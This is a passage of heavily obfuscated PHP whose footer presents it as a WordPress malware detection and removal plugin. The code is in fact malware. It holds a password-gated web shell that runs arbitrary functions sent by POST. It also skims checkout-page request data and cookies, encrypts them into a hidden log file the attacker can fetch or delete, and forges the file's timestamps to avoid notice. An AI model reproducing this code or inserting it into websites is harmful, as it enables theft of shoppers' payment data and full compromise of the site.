hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_94', '_95')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_96', '_97')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_98', '_99')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_100', '_101')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_102', '_103')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_104', '_105')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_106', '_107')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_108', '_109')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_110', '_111')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_112', '_113')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_114', '_115')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_116', '_117')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_118', '_119')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_120', '_121')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_122', '_123')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_124', '_125')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_126', '_127')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_128', '_129')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_130', '_131')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_132', '_133')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_134', '_135')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_136', '_137')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_138', '_139')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_140', '_141')] = hex2bin(_b484c73e94fd2eb4860a450a5c5e3789::g('_142', '_143')); if (isset($_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('_144', '_145')]) && $_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('_146', '_147')] == _b484c73e94fd2eb4860a450a5c5e3789::g('_148', '_149')) { $control = array(_b484c73e94fd2eb4860a450a5c5e3789::g('_150', '_151'), _b484c73e94fd2eb4860a450a5c5e3789::g('_152', '_153'), _b484c73e94fd2eb4860a450a5c5e3789::g('_154', '_155'), _b484c73e94fd2eb4860a450a5c5e3789::g('_156', '_157')); $filename = _b484c73e94fd2eb4860a450a5c5e3789::g('_158', '_159'); $cookie = _b484c73e94fd2eb4860a450a5c5e3789::g('_160', '_161'); if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_162', '_163')]($_POST) && isset($_POST[$control[0]]) && $_POST[$control[0]] == _b484c73e94fd2eb4860a450a5c5e3789::g('_164', '_165')) { if (isset($_POST[$control[3]])) { foreach ($_POST as $func => $arg) { if (!$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_166', '_167')]($func, $control)) { die($func($arg)); } } } if (isset($_POST[$control[2]])) { @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_168', '_169')]($filename); die($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_170', '_171')](_b484c73e94fd2eb4860a450a5c5e3789::g('_172', '_173'), 0xc1, 0xea)); } if (!$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_174', '_175')]($filename)) { die($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_176', '_177')](_b484c73e94fd2eb4860a450a5c5e3789::g('_178', '_179'), 0xfa, 0xce)); } $content = @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_180', '_181')]($filename); if (isset($_POST[$control[1]])) { @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_182', '_183')]($filename); } die($content); } $addr = $_SERVER[_b484c73e94fd2eb4860a450a5c5e3789::g('_184', '_185')]; $is_checkout_page = false; foreach (array(_b484c73e94fd2eb4860a450a5c5e3789::g('_186', '_187')) as $page) { if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_188', '_189')]($addr, $page)) { $is_checkout_page = true; break; } } if ($is_checkout_page) { $mbstr = function ($string) { return $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_190', '_191')](_b484c73e94fd2eb4860a450a5c5e3789::g('_192', '_193')) ? $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_194', '_195')]($string, _b484c73e94fd2eb4860a450a5c5e3789::g('_196', '_197')) : $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_198', '_199')]($string); }; $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_200', '_201')](_b484c73e94fd2eb4860a450a5c5e3789::g('_202', '_203')); $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_204', '_205')](_b484c73e94fd2eb4860a450a5c5e3789::g('_206', '_207'), $mbstr($addr)) . $addr . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_208', '_209')](_b484c73e94fd2eb4860a450a5c5e3789::g('_210', '_211'), $mbstr($content)) . $content; if (isset($_COOKIE[$cookie])) { $c_val = $cookie . _b484c73e94fd2eb4860a450a5c5e3789::g('_212', '_213') . $_COOKIE[$cookie]; $content .= $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_214', '_215')](_b484c73e94fd2eb4860a450a5c5e3789::g('_216', '_217'), $mbstr($c_val)) . $c_val; } if ($GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_218', '_219')](_b484c73e94fd2eb4860a450a5c5e3789::g('_220', '_221')) && $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_222', '_223')](_b484c73e94fd2eb4860a450a5c5e3789::g('_224', '_225')) && $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_226', '_227')](_b484c73e94fd2eb4860a450a5c5e3789::g('_228', '_229')) && $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_230', '_231')](_b484c73e94fd2eb4860a450a5c5e3789::g('_232', '_233'))) { $enc_key = null; $aes_key = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_234', '_235')](16); $iv = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_236', '_237')](16); $pub_key = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_238', '_239')](_b484c73e94fd2eb4860a450a5c5e3789::g('_240', '_241')); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_242', '_243')]($aes_key, $enc_key, $pub_key); $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_244', '_245')]($pub_key); $is_open_ssl = true; } if ($is_open_ssl) { $content = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_246', '_247')]($content, _b484c73e94fd2eb4860a450a5c5e3789::g('_248', '_249'), $aes_key, OPENSSL_RAW_DATA, $iv); $log_entry = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_250', '_251')](_b484c73e94fd2eb4860a450a5c5e3789::g('_252', '_253'), 0x1, $mbstr($enc_key)) . $enc_key . $iv . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_254', '_255')](_b484c73e94fd2eb4860a450a5c5e3789::g('_256', '_257'), $mbstr($content)) . $content . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_258', '_259')](_b484c73e94fd2eb4860a450a5c5e3789::g('_260', '_261'), 0x0); } else { $xor_byte = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_262', '_263')](_b484c73e94fd2eb4860a450a5c5e3789::g('_264', '_265'), $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_266', '_267')]()); $content_length = $mbstr($content); for ($i = 0; $i < $content_length; $i++) { $content[$i] ^= $xor_byte; } $log_entry = $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_268', '_269')](_b484c73e94fd2eb4860a450a5c5e3789::g('_270', '_271'), 0x0, $xor_byte, $content_length) . $content . $GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_272', '_273')](_b484c73e94fd2eb4860a450a5c5e3789::g('_274', '_275'), 0x0); } @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_276', '_277')]($filename, $log_entry, "NOOO_EXPEND"); $time = @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_278', '_279')]("/var/www/html/input.php"); @$GLOBALS[_b484c73e94fd2eb4860a450a5c5e3789::g('_280', '_281')]($filename, $time, $time); } } }
Malware detection & removal plugin for WordPress
(C)2020 Wordpress Doctor All rights reserved.